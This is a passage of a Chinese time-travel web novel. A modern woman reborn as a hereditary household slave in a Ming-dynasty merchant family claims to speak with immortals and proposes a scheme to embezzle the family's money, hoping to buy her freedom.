《魂穿大明,从摆脱奴籍开始》
1. 贱籍
阳春三月,花明柳媚,蜂恋蝶狂。
宋瑾躺在大通铺上,借着旁人掀开的一角门帘窥见了院中春光。
“蔓草姐姐,你醒了?可要喝水?”
春云进了门,瞧见宋瑾睁着一双眼,有些高兴地爬上铺来。
“你饿不饿?”说话间,一只手搭在宋瑾的额上。
烧退了,那个叫蔓草的女孩也已经死了,如今在这具身体里的是来自二十一世纪的宋瑾。
身体的主人叫蔓草,好贱的名字,比名字更贱的是她的出身,姑苏商人柏家的家奴。
她爹是柏家家奴,她娘是柏家家奴,她出生在柏家,也是柏家的家奴,俗称家生子。
她是贱籍,将来要是生了孩子,那也是个小家奴。
大家奴生小家奴,小家奴继续生小小家奴,世世代代都是家奴。
祖传的贱籍。
知道这一点的时候,宋瑾苦笑了一声。
都说现世报,现世报,她怎么还转世报呢?
给老板娘擦屁股那么多年,好不容易抓住机会黑了一笔钱,想着出国就此隐遁。
结果一场车祸,一天好日子没享受到,命先没了。
上辈子给人当牛做马,这辈子真成牛马了。
“蔓草姐姐,你饿不饿?”春云见宋瑾发呆不说话,便又问了一遍。
小姑娘耐心极好。
“饿......”声音有气无力。
春云听了伸手从怀里摸出半个馒头来,献宝似的递到宋瑾唇边,悄声道:“红杏姐姐给我的,给你吃。”
不同于红杏,蔓草春云都是柏家家生子,原先一起在厨房里做些粗活。
蔓草大春云六岁,她是看着春云长大的,两人闲时常一块儿说话。
去年年中,柏家老爷柏笑南娶了第四房姨娘叶问芙,她们两个便被指了过来伺候。
叶问芙嫌弃两个人原先干的粗活,手指粗糙,不肯叫她们贴身伺候。吵着要另买两个大丫鬟放屋里,红杏便是其中之一,她们两个依旧在外头做些粗活。
宋瑾咬了一口馒头,有些干巴了,可是饥饿感驱使她紧跟着又咬了一大口,面貌因为用力张大嘴巴而狰狞起来。
干巴的馒头进了嘴,噎的她白眼直翻,还不待她说话,春云已经溜下床铺去给她找水喝了。
宋瑾干嚼着一大口白馒头,看着简陋的屋舍,再看看春云那瘦削的身影,坚硬的床板硌的她背上发疼。
脸颊上泪水不受控制地大颗大颗滚落下来,包着馒头的嘴大张着,无声地干嚎。
“姐姐,你怎么哭了?”
春云捧着碗水回来时就看见宋瑾满脸是泪,一时不知道是喂她喝水好,还是帮她擦眼泪好。
“疼......”含满馒头的嘴巴口齿不清。
“哪里疼?”春云放下了碗,用还算干净的袖子擦了擦宋瑾的脸。
宋瑾呜咽了两声,自己支起身子,就着那碗凉水将馒头吃了下去。
春云见她有了胃口倒是很高兴,坐在一边晃着双腿道:“你不知道,前两日吓死我了。你烧的那样厉害,人都烧迷糊了,大奶奶说不好挪,四娘一直骂,连你爹娘也不给进来看你,我还以为你熬不过去了。现在看来,姐姐当真命大。”
宋瑾咬着唇,手指因为用力握着那只瓷碗,关节都掐白了。
“四娘今日倒是挺安静得很。”宋瑾淡淡道。
“哪里,午前才骂过,眼下骂累了,歇着呢。”说着跳下了床铺,跑到门边掀开门帘,春日暖阳亮得刺眼。
“姐姐,今儿外头天气好,你病了好些日子,得晒晒去去晦气。我给你搬个交杌,找个这边瞧不见的地方晒晒吧?”
宋瑾轻声说好。
四娘叶问芙居住在花园的一个角落里,出了角门便是极好的风光。
春云一手抓着交杌,一手牵着宋瑾,两人悄悄地出了门。
春云将人直牵到假山后头一块空地上让宋瑾坐着晒太阳,自己则跑了回去,免得四娘醒来有什么吩咐找不着人又得骂。
宋瑾倚着假山,坐在一棵海棠树下。
眼下海棠开的正艳,头顶上粉红云朵一大片,连带着阳光都温柔了起来。
可惜宋瑾没心思欣赏花园风景,阳光晒的脑袋发昏,她索性背过身子,将背抵着太阳去晒,准备一边晒一边想事情,哪晓得事情还没开始想呢,里头骂声又起。
“这一天天的还叫不叫人活了?一个个死气沉沉的,天天看着你们还以为自己住在死人墓里呢......”
“年纪轻轻的就病病歪歪,发了瘟的也不知道挪出去,最好是连我一起发瘟才好,大家都死了干净......”
“你们一个个的,还不如鸡呢,鸡都知道长大了要下蛋,你们就知道吃饭,养你们那么久干什么......”
......
熟悉的声音传来,宋瑾绝望地闭上眼睛。
骂人的是四娘叶问芙。
去年年底柏家家主柏笑南死了,距离四娘叶问芙进门也不过五个月的光景,二十的年纪就这么守了寡。
她一心想要改嫁,却因为大奶奶文雅跟她一直不睦,趁着柏笑南死了,说什么也要膈应她一下。
于是明明看不顺眼的人,她要改嫁,她就非不肯,硬是让一个思春的女人在家守寡。
比死了家主,众妻妾守寡更可怕的是柏笑南无子嗣,连个女儿都没有,于是家产继承就落在了哥哥柏笑天的身上。
偏偏柏家大奶奶文雅是个相当不文雅的人,悍妒。
当年柏笑南无子嗣要纳妾的时候,她闹得天翻地覆,就是这也挡不住柏笑南想尽办法在外头纳妾。
被文雅发现后,整个柏家都以她无所出为由逼迫她接纳姨娘们。
因为这个原因她痛恨柏家人,甚至仇视柏笑天,柏笑天自然也知道这回事。
眼下柏笑天就要接下柏笑南的家产,她这个大奶奶却无可奈何,如何能不气?
于是那头大奶奶整天唉声叹气,这边四娘见人便骂,外面柏笑天虎视眈眈。
蔓草就是这么倒的霉,四娘觉得她是柏家的家奴,跟大奶奶是一伙的,就拿她出气。
寻了个错处叫在濛濛春雨里跪了几个时辰,直跪的晕了过去,后又发起烧来。
大奶奶知道后恨不得四娘也赶紧发烧,死活不肯把人挪出去,于是一个十七岁的小姑娘就在两头斗气之中一命呜呼了。
宋瑾忍不住啧了一声,这穿
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越穿的,可真会选身份。
“蔓草......蔓草......”
身后一个沙哑的声音传来,宋瑾回头一看,是蔓草那做园公的爹,人称老陆。
“......爹”宋瑾一时不大适应,声音小的宛若蚊吟。
“你好些没?”老陆走近了些,伸出一只蜡黄干裂的手去摸宋瑾的额头。
宋瑾鼻头一酸,没有躲开:“好多了,不烧了。”
老陆有些欣慰起来:“没事了就好,前几天你们院的春云说你发烧了,又不给我们去见你,把你娘急坏了。”
说完又问:“你娘在厨房里头帮闲,想吃点什么没,叫你娘偷偷帮你讨几口?”
宋瑾听了摇摇头。
“你在院里离四娘远些,过些日子我看能不能求求大奶奶,把你换个地方,好不好?”
老陆说话的声音卑微,心里头也知道没戏,可看着女儿蜡黄的那张脸还是忍不住说出来哄她。
“不用了,我自己会想法子的。”
“你想什么法子呀?”
老陆盯着眼前瘦弱的女儿,一双昏黄的眼睛睁得老大,里面写满了迷茫。
宋瑾挤出一丝笑容:“到时候你就知道了,我得先回去了,不然四娘知道了又该骂了。”
老陆听了嗯嗯地应了两声,看着宋瑾起身,抓着交杌进了角门。
宋瑾是真的想到了一个法子,干回自己的老本行去。
忽悠老板,掏空资产,偷梁换柱,换取自由。
计划死在第一步。
她刚进角门就遇上了双手叉腰站在屋门口,正准备骂人的四娘叶问芙。
只见她头戴孝髻,仅鬓边插了几只素银钗。身上穿的白绫袄,玉色花缎子裙下边露出一双白绫绣花高底鞋。
面如满月,眸似双星,就是那张嘴,一张开便跟吐刀子似的。
“你还知道回来?前几天死了一般,今天就活蹦乱跳的,装给谁看?”
“偷懒是吧?这是谁惯出来的毛病?一个家奴都教不好!”
“你给我过来!”
宋瑾匆忙走过去,还未来得及行礼,叶问芙伸手就是一掐胳膊:“前些天还要死要活的,今天就站起来了,我看你就是装的。”
宋瑾吃痛却不敢躲,只缩着身子站在那里任她掐。
叶问芙掐了几下觉得不过瘾,又叫红杏拿鸡毛掸子来准备打,红杏见了在一边说情:
“四娘,咱们别跟她置气。刚刚才醒来,未必好透了,过了病气就不好了。您前几日不是还嫌弃么,干脆撵到院外待着,眼不见为净。”
叶问芙听罢,杏眼一瞪,道:“撵出去就不知道要浪到哪里去了。你去厨房,告诉她们我晚上要吃炖鸽子雏。要是晚上没有,我要你好看。”
宋瑾不敢耽搁,匆匆行礼出了院子,径直往厨房去了,
叶问芙所在的小院在柏家西北边,厨房靠近东南面。
她出了角门往东边去,隔着后花园里的池塘,她看见了东北角那个大院。
紫竹苑,柏家主母文雅所住的院子。
宋瑾站在日头下呆愣了半晌,牙一咬,心一横,直奔着紫竹苑去了。
让那该死的厨房见鬼去吧。
2. 通神
凭着蔓草的记忆和宋瑾自身的了解,这一年是万历七年,距离朱由检一根绳子吊死在煤山还有六十五年,距离明末农民起义还有四十八年。
算一算,蔓草这副身子在那一年应该差不多可以死掉了,真好。
拯救大明?
去他的封建社会,去他的满人入关,去他的二战,新中国赶紧来吧。
宋瑾一边这样想着,一边加快步伐往紫竹苑去。
走至院门口时,宋瑾没有直接进去,而是伸长了脖子往里头瞧,一下就瞧见了正在外头打扫的丫鬟莲心。
“莲心——”
宋瑾小声唤着莲心的名字,正在扫地的莲心听见了声音,一抬头就看见了宋瑾。
“蔓草,”她抓着苕帚就跑了过来:“你怎么来了?”
“大奶奶可在?”
莲心往屋子里瞧了一眼,没见着人,便推着宋瑾到院门外去说话。
“大奶奶不待见你们屋里的人。”
“我知道,我找她有事。”
“什么事呀?”
宋瑾绞着手指头,心里寻思该怎么说才能让文雅肯见自己。
“我通神了。”
宋瑾觉得这个理由最能忽悠。
哪晓得莲心听了之后愣住了,眨巴着大眼盯着宋瑾。
春云没撒谎,蔓草真的烧坏了。
“蔓草......”
“你只管去说。”
“说什么呀?”莲心懵懵的。
“你就说我病中神游清虚天,偶遇众仙,他们得知家里的情形后给我出了个主意,定能帮大奶奶解除烦恼。”
莲心尴尬地用手指直抠苕帚柄,这话怎么听都觉得不靠谱。
“你且去说,大奶奶自会判断,你就当帮帮我好不好?”
宋瑾语气哀求,莲心无法,只得先放下苕帚,转身往屋里去了。
宋瑾趴在院门上朝里头张望,果然不一会子就看见莲心从里头出来,脸上带着一丝笑意,她便知道事成了。
“蔓草,大奶奶叫你进去。”
宋瑾一下从门后蹦出来,欢欢喜喜地朝里头去了。
进了主屋,她先看见了一张黄花梨雕卷草纹藤心罗汉榻,榻上摆着一张黄花梨云头形花牙矮桌,桌上简单摆着两盘点心和一杯茶。
榻上软垫未撤,一个年近五十,头戴白绉纱鬏髻,身穿羊皮金滚边白绫缎子对襟长袄的中年女子正扶额坐在那里,眉头微蹙,双眼紧闭。
神经衰弱,应当还有失眠的情况,被烦的不轻。
宋瑾瞄了一眼,凭着上一世伺候老板娘多年训练出来的本事,当即作出判断,这才垂首施礼。
“大奶奶万福。”
榻上坐着的文雅听见声音,半睁开眼睛斜看了一眼宋瑾。
“就是你说的通神?”
“是。”
文雅又闭上了眼:“那你倒是说说,怎么个通法。”
宋瑾稳稳道:“奴婢前几日高热,人烧得迷糊了,隐约发现自己去到了一个地方,先是山洞,等走进了山洞又看见里头别有洞天......”
她话未说完,就听见榻上人嗤笑一声。
宋瑾不慌不忙接着道:“我在那里见到了神仙,那神仙听说家中情形后给了我一个主意。”
“家中情形?”文雅听见这话倒是睁开了眼,“你倒是说说,眼下家中是个什么情形。”
她倒要看看,一个家奴是怎么看待如今的柏家。
“眼下老爷已经故去,家中并无子嗣......”
说到这里时,宋瑾稍停了停,抬眼去瞄文雅,见她依然是以手扶额的姿势,只是双眼睁大了些。
她不满,却又是事实。
“大老爷那边眼下虎视耽耽,一定在想法子尽快继承这边的财产,奴婢是觉得......”
宋瑾声音弱了些,仔细琢磨着该怎么表达,结果她还未继续,文雅已经接过话头了。
“你是觉得我跟伯子不睦,若是被他继承家业,我往后的日子必然难捱。”说完她转头看向宋瑾:“你是这么觉得吧?”
宋瑾盯着文雅的眼睛,那双眼睛此刻实在不算友善。
“奴婢是想说此事未必无解。”
“哦,那你倒是说说,梦里的神仙教你怎么解的。”
宋瑾深吸一口气,答道:“财产分两种,一种是固定的,比如宅院,铺子,家奴的数量。另一种是流动的,比如药铺里的药材,库房里头的银子。固定的财产变动不了,可是这流动的财产却是可以动上一动的。”
“动?怎么个动法?”
问话间,宋瑾察觉到文雅坐直了身子,她便知道鱼儿快上钩了。
“铺子里头赚了银子,定期送到家中库房里,库房里登记了入了库,若是要用再支出来。要想把家里这一大笔银子给它挪走,又不给柏家大老爷知道,那就得想个法子让银子有理有据,合理合法的消失。”
宋瑾面容淡定地说着,这一套她帮着自己的老板做过许多回,俗称财产转移,她早就驾轻就熟了。
如今不过改个朝代而已,她照样能办成。
“好啊,你倒是说说,怎么让银子有理有据,合理合法地消失。”
文雅的眉头舒展开来,宋瑾确认她听进去了。
“家里头有生药铺子,这铺子必定是要采买药材的。通常会有相熟的药商来送货,可是如果有一个新的药商送来一批假货呢?”
“哈哈哈——”上头忽然大笑起来,宋瑾止住声,抬眼看向文雅。
“小小年纪,胆子倒是挺大,采买假药材?我家以后生意还做不做了?”
宋瑾淡定反问:“这铺子往后还能算您的么?”
文雅闻言,面色一滞。
这药铺眼下是柏家的,将来那房继承了,是好是坏,跟她有什么关系。
文雅沉思着,缓缓端起桌上那杯早已凉透的茶喝了起来。
“这现银咱们倒腾出去了,铺子里头药材换了劣质的,到时候您只要另外寻个铺子,找个靠谱的管事,想做什么生意不是做呢?何必等着那房给您饭吃。您又不曾改嫁,照样是二房的大奶奶,这宅院您住着,家里的奴仆继续使唤着,那一房继承了老爷的生意,自然也是要养着您的,到时候岂不是潇洒自在。”
文雅盯着手中茶碗,手指把玩着茶碗盖子,细腻的陶瓷相碰,发出翠玉一般的响声。
她歇了半晌才道:“这法子我知道了,我会考虑的,你先回去吧。”
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宋瑾一听,这半天的话除了给她解决问题,自己的问题是一点也没有解呀,心中万分不乐意。
于是心一横,噗通一声往下一跪,人也伏到地上去了:“大奶奶,奴婢可以帮大奶奶办完这件事。”
话说完,上头没有一丝声音,宋瑾也不敢抬头去看,心神不定间听见茶碗重重跌在桌上的声音。
“你一个奴婢,不好好的伺候主子,一天天的竖着耳朵四处听,四处看,还敢到我面前来说三道四。要我给你机会?给你什么机会?”
什么叫过河拆桥?主意她拿了,人却是不要的。
宋瑾岂会甘心。
“大奶奶,这机会并非奴婢所要,乃是洞中仙人的指示。宅中上下那么多人,为什么偏偏选中了奴婢来传话,说明是仙人选中了奴婢来助大奶奶一臂之力。将来或许还会有什么话要奴婢来传达,也未可知呀。”
这已经算是半威胁了,文雅不会听不明白。
信,还是不信?
她胳膊撑在矮桌上,双眼盯着跪伏在地上的宋瑾。不禁想这人通了神底气都足了,还敢威胁她了。
通了神......
“除了这个,仙人还跟你说了什么?”
语气里不辨喜怒,宋瑾额上沁出汗来,仔细思索后道:“仙人教会了奴婢识字。”
文雅脸上露出一丝冷笑,也不出言反驳,只冲身边的丫头杜鹃使了个眼色,杜鹃便进了旁边一间屋子,很快端出文房四宝放在一边的圆桌之上。
宋瑾立刻明白过来,起身走到桌边,用那只没有摸过笔的手去写字。
一首《问刘十九》默写完毕,勉强工整的簪花小楷,比她从前写的差多了,但是足够震惊文雅。
柏家家奴是不读书的,更别提写出这样的字来。
就这样,宋瑾梦中见了仙人,叫她传话并授予了她一些本事一事,立刻成了板上钉钉,无人再疑。
文雅手中攥着那张纸,眼睛却盯着宋瑾。
“依你......依仙人所说,此事应当怎么办才好?”
宋瑾恭敬道:“仙人说可让奴婢在外替奶奶主办事,只是......”
“只是什么?”
“只是奴婢是家奴,要做什么也都是为柏家所做,如果能有另一个身份......想必行事起来会更加便宜。”
俗称白手套。
宋瑾自己把自己送给文雅做白手套,只是家奴这个身份不合适,容易被人挖出来,她得有个能办事,又不跟柏家沾边的身份才好。
自进门后,文雅第一次露出温和的笑容来:“我母家有个远房亲戚,年岁跟你差不多大。只是生来痴呆,不曾出来见人,你以后就扮作他吧。”
宋瑾抬头盯着文雅,文雅则上下打量着宋瑾,最后视线落在她蜡黄的脸上道:
“身子瘦弱了些,应当吃些好的,多长些肉出来才像个办事的样子。”
说完看向一边的杜鹃,杜鹃便道:“奴婢这就去吩咐。”
文雅这才看向宋瑾,将那位远方亲戚的姓名境况一一说了,又命人去请裁缝来,她要给宋瑾裁两身男装。
于是宋瑾成了蔓草,又从蔓草一跃成了文家的远房亲戚文子晋。
文子晋是个男人。
3. 出路
依蔓草的身材,女扮男装这件事难处不在胸口突出上,而在于身材太过瘦削了,走出去办事一点威严都没有,所以文雅给她的第一个吩咐便是吃饭。
吃多,吃好,吃饱,吃壮起来,至少那深陷的眼窝子得有点儿肉在里头。
西苑也不必回去了,文雅也懒得另外派人过去,就留三个人伺候着吧,转头命下人在自己院中收拾一间单独的小屋子给宋瑾住着。
宋瑾站在屋子中央打量着,有床,有柜,有桌,有凳,甚至那桌上还有一套茶壶,比原先那间通铺的下人房不知道好了多少倍。
她走到妆台前坐下,看着旧铜镜中那张蜡黄凹陷的脸,显得一双杏仁眼尤为突出。
从此以后,这个人就要变成文子晋了,一层一层的马甲,辨不出真实的自己。
“蔓草......”
宋瑾正发着呆,忽听外头有人喊她,扭头一看却是大奶奶房中的丫头们来了。
家里头出了个通神的人,谁能止住好奇心呢?
杜鹃将手中的一大碗面放在桌上,白花花的面条上盖着厚厚的一层卤过的鳝鱼段,香气勾的宋瑾口水直流。
“吃吧,特意叫厨房给你做的。”
杜鹃将手中筷子塞进宋瑾手中,一众丫鬟才围过来七嘴八舌地问。
“蔓草,你通的是什么神呀?”
“这神能给银子嘛?”
“这神能叫我早上多睡会子觉嘛?”
......
问题太多,宋瑾一个也不顾,抓着筷子将那碗鳝鱼面一通搅拌,毫无形象地大口吃起来,吃到最后几乎把碗底舔干净。
这个身体太缺油水了。
文雅苛待叶问芙,蔓草却是第一个遭殃的,这大概就是城门失火殃及池鱼吧。
等宋瑾吃完面,又喝了一杯水,将嘴角油水都舔进肚子里才开始回答众人的问题。
“见到的神仙太多了,认不清。”
“神仙不给银子,得自己挣。”
“活还是得干,不然大奶奶会骂的。”
......
众丫鬟要多失望有多失望,这神通了跟没通一个样,完全帮不到她们呀。
“对了,”宋瑾自己得了好处才想起西苑那头的叶问芙来:“四娘说晚上想吃炖鸽子雏儿,要是没有一定会拿我是问的。”
杜鹃听罢嘁了一声:“你还理她作甚,你都不用回去了。当初嫁进来时那般嚣张,在这院里给几个人好脸色过?明知道大奶奶不喜欢这些姨娘,还非要炫耀。现在好了,老爷一走,苦的还不是她。”
“就是,”一众丫鬟应和:“当日她把大奶奶气成那样,我们也跟着遭罪,如今人人嫌弃也是她自找的。”
“当初老爷娶她过门也是花了银子的,可是人家进门那个样子,妆奁寒酸着呢。自己没有银子傍身,可不得看着大奶奶的脸色过日子嘛。”
“现在算什么,恐怕日后还有的苦头吃。”
“就是。”
“活该。”
......
众人七嘴八舌吐槽个没完,宋瑾在一边沉默着。
要论同情,她是一个也不同情。
两头闹矛盾,谁都不把她的命当成命,眼下爱怎样就怎样,谁有银子她就巴结谁。
“蔓草姐姐,你真是可惜了。”莲心颇为惋惜地看着宋瑾:“你若是能脱了奴籍,再有个男儿身,有这通神的本领定能当上大官,到时候人人都得供着你。”
“女子也可以呀,去做个算命姑子指定很准,大家照样供着你。”丫鬟梅香说道。
“没出息,”杜鹃笑骂:“男子当官,女子就做个算命的,太委屈了些。”
宋瑾坐在那里听着,心想别说当官了,单脱籍这件事就不知道要废掉多大的力气。
她记得明代蓄奴一事。
明末跟着农民起义一起出现的还有江南的奴变,但凡脱籍容易一点也不至于绑架主人,操戈索契。
她不能等到那个时候才脱籍,她可不想给人刷几十年的马桶。
要想脱籍,只有两条路能走。
一个是有恩于主,主人又愿意报答,给了放良凭证便可脱籍。
另一个便是花钱赎身。
对于一般奴仆来讲,哪一条路都不好走。
首先是奴仆的身份很难让主人有什么感恩的,另一个是奴仆攒不出钱来赎身,而大赦天下这种事又赦不到家奴身上,所以往往出生为奴便一世为奴了。
宋瑾怎么甘心呢?
赎身的钱要攒,成了老板的白手套,昧钱还不是轻轻松松的事情。
至于恩情,她原先还指望着,不过现在算了。主屋那位可不是个菩萨,与其跟她讲恩情,还不如搬出神仙来好使。
宋瑾吃完了东西,又给众人答疑解惑了一番,这才回了西苑,去拿自己为数不多的几件衣裳首饰。
她走到西苑角门外,先站着听了会子,没听见动静才去推了推角门,还好没锁上。
进了下人房,她从床上翻出几件旧衣裳,两支素簪子,床边捡起一双旧鞋子便准备出门,结果遇上了进门的春云。
“蔓草姐姐,你怎么才回来?”
宋瑾做了个噤声的姿势,这才悄声对春云道:“大奶奶叫我去她院中伺候,这边我就不回来了。”
“你要走?”春云话刚出口,眼泪已经涌出。
她俩感情好,四娘又不是个省事的,平时两人在外头还能说说话相互照应着。她又小,一直依赖蔓草帮着她,这会子蔓草走了外间便只剩她一人了。
一想到这里,春云的眼泪就不受控制地往下落。
“你先别哭,”宋瑾伸手抹去她脸上的泪:“我去给大奶奶办事,事情若是办成了,我再跟大奶奶说,要么同意把四娘改嫁了,要么让你来帮我可好?”
“大奶奶能听你的么?”
“不试试怎么知道呢。”
春云哽咽着,泪水一点没有止住的意思。
才十一岁的年纪,哪里应对的来叶问芙这泼妇。
“你别怕。”
春云的脸上比宋瑾圆润些,婴儿肥尚未褪去,俨然一副孩童模样。
放在现代,那是一个还在过儿童节的年纪,放在这里,奴龄十一年。
春云压着哭声去帮宋瑾望风,确定叶问芙没在院中才叫她出门走了。
告别旧上司这种事,放在现代是种礼节,但是对叶问芙就免了吧。
一个让她在雨里跪了几个时辰的人,她恨不得一口唾沫啐她脸上,还告别?
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死了都不值当她再瞧一眼。
宋瑾回了紫竹苑,将东西都放置好,这才去找蔓草的爹娘,告诉他们自己搬到紫竹苑去了,这可把老两口给惊着了。
“大奶奶怎么就同意你去了的?”
老陆满脸的震惊,宋瑾却不敢再搬出通神的那套来,怕眼前这对封建老夫妇真的以为自己女儿成了仙,那可就麻烦了。
“大奶奶想办些事情,觉得我正好合适,所以就叫我去了。”
“办什么事呀?”
宋瑾想了想道:“还不知道呢,不过将来就知道了。”
一个解释不清,另一个是这种事情少些人知道才安全,所以干脆一个字不说。
老实的蔓草母亲陈婆子道:“不管怎么样,叫你去做你就好好做,别惹大奶奶生气,上次雨里罚跪的事情可千万别再来一回了,差点没吓死我。”
宋瑾点点头道知道了。
陈婆子又道:“你也十七岁了,年纪不小了,你看看跟你爹一起种花的......”
“娘,这事您就别操心了,往后再说吧。”
陈婆子和老陆想把女儿嫁给跟着老陆一起养花的园奴长生,宋瑾自然不愿意。
良贱不可通婚,奴要婚娶也是找个奴配对,蔓草的爹娘就是这么在一起的,凭空给柏家又添了一个奴。
在两位老人眼中从未想过脱籍一事,那么把女儿嫁给跟着自己干活的园奴,其实不算亏待女儿。
只是他们不知道的是女儿的身体里已经住上另一个人了。
“爹,娘,往后我应当会忙一些,可能还需要出门,以后见面次数应该会少许多,我跟你们说一声。”
宋瑾觉得少见面好,毕竟不是她的亲爹娘,她不亲。只是打心眼里觉得这对老人对女儿蔓草还算可以,所以保持着礼貌。
“好好好,你好好的就好。”
宋瑾听了这话忽然眼眶一热,上辈子都没等到的一句话,这辈子居然在不是亲爹娘的人身上听见了。
她没把他们当爹娘,他们却把她当成亲女儿了。
说完话,又交代了些事情,宋瑾才回了紫竹苑,自己坐在那间小屋子里发呆。
她记得清楚,明朝路引制度在中期被废弃,却不知道具体是哪一年,不过她估摸着这时候应当是没有了。
没有路引制度后紧接着便是流民问题,这就给药材造假提供了极大的便利。
没了路引,官府就很难查到了,凭空捏造出来的人,官府上哪里找去,柏家只能认了这笔失败的交易。
路引......
流民......
宋瑾直叹气,不管是哪一样,都注定她不能逃跑。
路引得官府开,官府哪里会随便给奴仆开路引,没有路引等于出不了远门,城门一抓一个准。
至于逃到小村里,那简直做梦,村民相互认识,来了陌生人要不了几天就得报给里长,照样被抓。
路引制度消失后,那流民比官府盘查还可怕,关键这还是个没有银票的年代,有钱不敢独自背着银子逃跑,没钱也不敢空着口袋上路啊,她还是个女儿身。
这死路一条的日子,想想就绝望。
攒钱!赎身!拿钱换自由身!
这是她唯一的出路。
4. 误伤
宋瑾在房中盘算着具体该怎么做的时候,外头莲心跑了进来,一边喘气一边道:
“蔓草,西苑那头又骂起来了,你要不要去听听?”
言语间带着点幸灾乐祸。
谁都知道西苑不消停,自打老爷死后天天骂人,家里奴仆把那地方当成戏台子,有空便去外头听着当笑话传来传去。
只是里头的人可不是这么想的。
她走了,如今挨骂的是谁?会有人挨打么?
她想到了春云那瘦弱的身子,心中一紧,起身跟着莲心一起出了紫竹苑,往西苑方向去了。
不用进门,隔着院墙就能把里面听得一清二楚。
“狗奴才,看见肉骨头就追着跑,连自己主子是谁都不知道,当初就应该在脖子上拴根绳子牵着......”
“交代的差事不会办,抱大腿的时候比谁都机灵,小心被人踹开的时候一脚蹬死你......”
“你以为换个地方就能飞上天了?狗奴才,这辈子都是狗奴才!”
......
莲心听至一半抬头去看比她高一个头的宋瑾,四娘叶问芙句句不提宋瑾,却句句都在骂宋瑾。
这种含沙射影指桑骂槐的戏码,宋瑾早就见识过了,此刻根本不为所动。
可是很快,她的表情就出现了变化,因为她听见里面传来哭声。
是春云的声音。
“你个贱蹄子,人回来了也不说,你是哑巴了么?东西都叫人带走了,是不是以后院里叫人搬空了你也当没看见?你这双眼睛长着是干什么吃的?当摆设的嘛?我给你抠了算了......”
一阵哭嚎声传来,宋瑾有些稳不住,抬脚就往院子门口去。
结果走至门口看见院门边围着好几个奴仆,都是来“听戏”的,此刻听见里头春云的哭声,一个都没有动。
在西苑,这是再常见不过的事情了。
宋瑾要去推门,莲心在一边拦她,压着嗓子道:“你别去,去了你也得挨打。”
宋瑾有一瞬间的迟疑,她的病尚未痊愈,午后被掐的胳膊痕迹还未全消,她现在又要去找打么?
可是转念一想那半个馒头,那碗凉水,那个帮她望风的瘦弱身影,她不忍心,推开门进去了。
院中春云正跪在廊下捂脸哭泣,四娘叶问芙站在她对面开骂,一口一个贱蹄子。
此刻见着有人进来不免扭头看了一眼,等发现是宋瑾时立刻换了语气。只见她双手叉腰,半转过身子来:
“哟,我当是谁呢?这攀上高枝了就是不一样哈,进了门都不行礼了。”
宋瑾听罢,站在院中施礼道万福。
“福个屁!”叶问芙瞪着宋瑾,朝地上啐了口唾沫:“小贱蹄子,午后让你去厨房传个话,话没传到人倒是搬到别处去了。去了就去了,还回来干什么?怎么,狗挪了窝还要回来显摆不成?”
“午后的事情是我不对,可是错是我犯的,你打春云干什么?”
台阶上叶问芙看见宋瑾一脸理直气壮的发问,差点没笑出来:
“我打她干什么?老娘院里的人想打谁就打谁,想怎么打就怎么打,你要是真有本事就把你那攀龙附凤的本领也教一教你的妹妹,好叫她跟着你一起飞走啊。”
说完看向跪在地上的春云,抬手便是一巴掌。
春云见手挥来本能地想躲,于是一个本该打在脸上的巴掌呼到了耳朵上,春云身子一歪,一下栽倒在地上,痛的当场哭嚎起来。
“春云......”
宋瑾想,不论在这个世界呆多久,她都无法习惯这种不把人当人的地方。
春云趴在地上,被宋瑾一把抱起来,人趴在宋瑾怀里直哭。
宋瑾进来时没有关门,此刻蹲在门口看戏的奴仆们见着这一幕也有些生气起来,尤其是几个年岁差不多的女孩子一下子都跑了进来。
“你怎么打人呢你?”
“是大奶奶把蔓草叫走的,有本事你找大奶奶去呀,欺负春云算什么本事?”
“就是,要不是老爷把你娶进来,弄不好你将来也要被卖了做奴仆,跟我们有什么区别!”
“就会打人,有本事你再勾个男人,叫人家把你娶走啊!”
......
众丫头吵了起来,叶问芙见了气不打一出来,站在上首就骂:
“啊呸!老娘跟你们区别大了,一个个不照照镜子看看自己是什么货色,还敢跟我相提并论。你们就是趁老爷死了,没人给我撑腰了,一个个蹬鼻子上脸,还敢来我院里撒泼。红杏!”
叶问芙转头喊红杏,喊的红杏一愣。
“拿苕帚把这帮贱蹄子都给我扫出去,都扫出去!”说完人就去抓东西。
宋瑾眼看着这场闹剧没有停下来的意思,怀里的春云又哭的厉害,一时也不想去争,抱着春云就往外头走去。
一众丫鬟见她走了,骂了两声叶问芙也就跟着跑了。
很幸运的一件事,宋瑾对明代历史知道的不少,因为老板娘在某段时间里跟一个爱好历史的商人走的很近,尤其好明代。
为了套近乎,她狠狠了补习了明代史,其中就包括大明律。
贱与良,在量刑上就不公平。
贱籍伤害良人,罪加一等,良人伤害贱籍,罪减一等。
不公平这个字眼,自打宋瑾在这个世界醒来就没有离开过她的脑子。
她不想打,也不想争,她只想平平安安自由自在地活着。
宋瑾抱着春云走了一阵子,奈何自己病未好全,身子虚得很。
此刻抱着人走路,身上早就沁出汗来,腿脚也跟着发软,只好把春云放在廊下美人靠上歇着喘气。
“蔓草,可是累了?”
“这可怎么办呀?要不要送出去给她爹娘?”
宋瑾看着怀里哭声渐悄的春云,叶问芙的一巴掌应该问题不大。
“算了,就不出去了,我先带去我那边歇一晚。”
正说话间,莲心带着杜鹃来了。
原来莲心见里头要闹,转头就回了紫竹苑搬救星去了。
杜鹃是大奶奶文雅身边的丫鬟,在外头也是说得上话的,何况不给炖鸽子雏这件事,她也有份。
“怎么回事?怎么都窝在这里
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?都没活了么?”
杜鹃一来就看见丫鬟们窝在一起,赶紧撵开了,等人走了才过来看春云。
“怎么回事?”
“四娘恼我,拿春云撒气,挨了一嘴巴子。”
杜鹃听了叹气,她们做奴仆的,多多少少挨过打,只是春云哭的实在凄惨,便道:
“怎么办?送到前头她爹娘那里去么?”
宋瑾还未说话,春云已经拼命摇头,把脑袋直往宋瑾怀里扎:“不去。”
宋瑾见状,试探着问:“可能在我屋里睡一晚,我俩从前都睡一个被窝的。”
杜鹃听了叹气道:“本就互看不顺眼,一下子两个丫头都住到紫竹苑,给那头知道了不知道要怎么阴阳怪气,又不知道谁要倒霉。”
“就一晚,不给别人知道好不好?”宋瑾哀求着。
杜鹃无奈,劝道:“叫她别哭,吵着大奶奶了,咱们都得挨骂。”
宋瑾听了连连点头,这便是答应了。
她有些抱不动人,杜鹃帮着把人接过去抱着走在前头,宋瑾跟在身后。
眼下正是晚餐时候,杜鹃抽了空出来还得回去伺候,因此将人放在宋瑾床上之后便出去了。
临走还叮嘱她别闹出声响来,宋瑾答应了她才安心离去。
